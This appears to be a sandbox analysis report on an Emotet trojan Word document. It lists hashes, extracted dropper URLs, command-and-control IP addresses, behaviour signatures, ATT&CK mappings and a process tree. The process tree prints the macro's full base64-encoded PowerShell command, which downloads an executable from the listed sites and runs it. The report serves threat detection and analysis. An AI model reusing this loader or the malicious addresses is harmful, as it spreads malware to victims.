emotet | dc9ed541230e97a30f45695e066b67e80728f6963ada93b7fb8d9617a653857d

General

Target

emotet_e1_dc9ed541230e97a30f45695e066b67e80728f6963ada93b7fb8d9617a653857d_2020-07-29__035045._doc.doc
Size

170KB
MD5

b76aa06eca72252cebc12c9c0ab070ac
SHA1

d3f00f795a9100bfa94e7ab791e998142d180d24
SHA256

dc9ed541230e97a30f45695e066b67e80728f6963ada93b7fb8d9617a653857d
SHA512

b3d178c62ab7631b1931f23e2735ccc3741ded60dcfe543fb686d4ce1a7ef134e1db9351d6797adbfd4f88cd0d6f1335b5082227c3cdd67725548b1cc51d5962

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://arizonaonsale.com/cgi-bin/VuM64/

exe.dropper

https://www.compednet.com/wp-content/Nv55027/

exe.dropper

http://eltallerartistico.com/language/Uybj0/

exe.dropper

http://classicpaint.net/wp-content/tVS1/

exe.dropper

http://closhlab.com/OWN/lUvYIzLMa/

Extracted

Family

emotet

C2

179.60.229.168:443

185.94.252.13:443

189.218.165.63:80

77.90.136.129:8080

217.199.160.224:7080

104.131.41.185:8080

2.47.112.152:80

185.94.252.27:443

186.250.52.226:8080

51.255.165.160:8080

68.183.170.114:8080

191.99.160.58:80

104.131.103.37:8080

181.31.211.181:80

202.62.39.111:80

83.169.21.32:7080

87.106.46.107:8080

72.47.248.48:7080

177.75.143.112:443

190.17.195.202:80

rsa_pubkey.plain

Signatures

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3984	WINWORD.EXE
3984	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2084	powersheLL.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2084	powersheLL.exe
2084	powersheLL.exe
2084	powersheLL.exe
1576	wlidres.exe
1576	wlidres.exe
1576	wlidres.exe
1576	wlidres.exe
1576	wlidres.exe
1576	wlidres.exe

Executes dropped EXE 2 IoCs

pid	Process
1328	45.exe
1576	wlidres.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\ndishc\wlidres.exe	45.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
1328	45.exe
1328	45.exe
1576	wlidres.exe
1576	wlidres.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
11	2084	powersheLL.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1328 wrote to memory of 1576	1328	45.exe	76
PID 1328 wrote to memory of 1576	1328	45.exe	76
PID 1328 wrote to memory of 1576	1328	45.exe	76

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1328-11-0x0000000000620000-0x000000000062C000-memory.dmp	emotet
behavioral2/memory/1576-14-0x0000000002230000-0x000000000223C000-memory.dmp	emotet

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2084	1788	powersheLL.exe	67

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_dc9ed541230e97a30f45695e066b67e80728f6963ada93b7fb8d9617a653857d_2020-07-29__035045._doc.doc" /o ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Enumerates system info in registry
- Checks processor information in registry
PID:3984

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABOAEIATQBYAEkAagBtAGIAPQAnAEgAQwBGAEIAWQBrAGsAdAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABjAFUAUgBJAHQAeQBgAHAAYABSAG8AVABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQASQBXAEMATQBMAHUAaABoACAAPQAgACcANAA1ACcAOwAkAEYATwBMAFcASgBzAGUAbwA9ACcAUABJAEoASABTAG0AdQBuACcAOwAkAFAATwBSAFcASgBwAHgAagA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBXAEMATQBMAHUAaABoACsAJwAuAGUAeABlACcAOwAkAFMARwBIAEoASABjAHEAZwA9ACcARwBZAFIAQgBSAHQAaABjACcAOwAkAFIARgBFAEYAWQBjAGkAcAA9AC4AKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgBXAGUAYgBjAGwASQBlAG4AdAA7ACQAQgBYAEEAVQBTAGUAbgBsAD0AJwBoAHQAdABwADoALwAvAGEAcgBpAHoAbwBuAGEAbwBuAHMAYQBsAGUALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBWAHUATQA2ADQALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGMAbwBtAHAAZQBkAG4AZQB0AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ATgB2ADUANQAwADIANwAvACoAaAB0AHQAcAA6AC8ALwBlAGwAdABhAGwAbABlAHIAYQByAHQAaQBzAHQAaQBjAG8ALgBjAG8AbQAvAGwAYQBuAGcAdQBhAGcAZQAvAFUAeQBiAGoAMAAvACoAaAB0AHQAcAA6AC8ALwBjAGwAYQBzAHMAaQBjAHAAYQBpAG4AdAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQAVgBTADEALwAqAGgAdAB0AHAAOgAvAC8AYwBsAG8AcwBoAGwAYQBiAC4AYwBvAG0ALwBPAFcATgAvAGwAVQB2AFkASQB6AEwATQBhAC8AJwAuACIAUwBgAHAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABDAEUARABFAEQAdgBvAG0APQAnAFgAVgBOAE8ARAB4AGUAYgAnADsAZgBvAHIAZQBhAGMAaAAoACQAQgBUAEUATwBaAGMAaABvACAAaQBuACAAJABCAFgAQQBVAFMAZQBuAGwAKQB7AHQAcgB5AHsAJABSAEYARQBGAFkAYwBpAHAALgAiAGQATwBXAE4AYABsAG8AYABBAGAAZABmAGkATABFACIAKAAkAEIAVABFAE8AWgBjAGgAbwAsACAAJABQAE8AUgBXAEoAcAB4AGoAKQA7ACQAVABWAEcASQBHAGQAbQB5AD0AJwBGAE4AUQBRAFoAcABsAHIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABQAE8AUgBXAEoAcAB4AGoAKQAuACIATABlAG4AYABnAFQAaAAiACAALQBnAGUAIAAyADYANAA5ADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAEUAQQB0AGUAIgAoACQAUABPAFIAVwBKAHAAeABqACkAOwAkAE4ARABNAFYAVgB5AHMAawA9ACcAUwBVAFUAWABRAHoAbwBnACcAOwBiAHIAZQBhAGsAOwAkAFQAWQBaAFIARgBlAGoAegA9ACcASABWAFgARABMAG8AYwBuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAQQBMAEsATgBzAHUAZwA9ACcATABQAFoAUQBMAGoAcAB5ACcA
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
PID:2084

C:\Users\Admin\45.exe
C:\Users\Admin\45.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1328
- C:\Windows\SysWOW64\ndishc\wlidres.exe
  "C:\Windows\SysWOW64\ndishc\wlidres.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1576

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1328-11-0x0000000000620000-0x000000000062C000-memory.dmp

Filesize
48KB

Download
memory/1576-14-0x0000000002230000-0x000000000223C000-memory.dmp

Filesize
48KB

Download
memory/3984-4-0x000002B03ADDA000-0x000002B03ADE1000-memory.dmp

Filesize
28KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads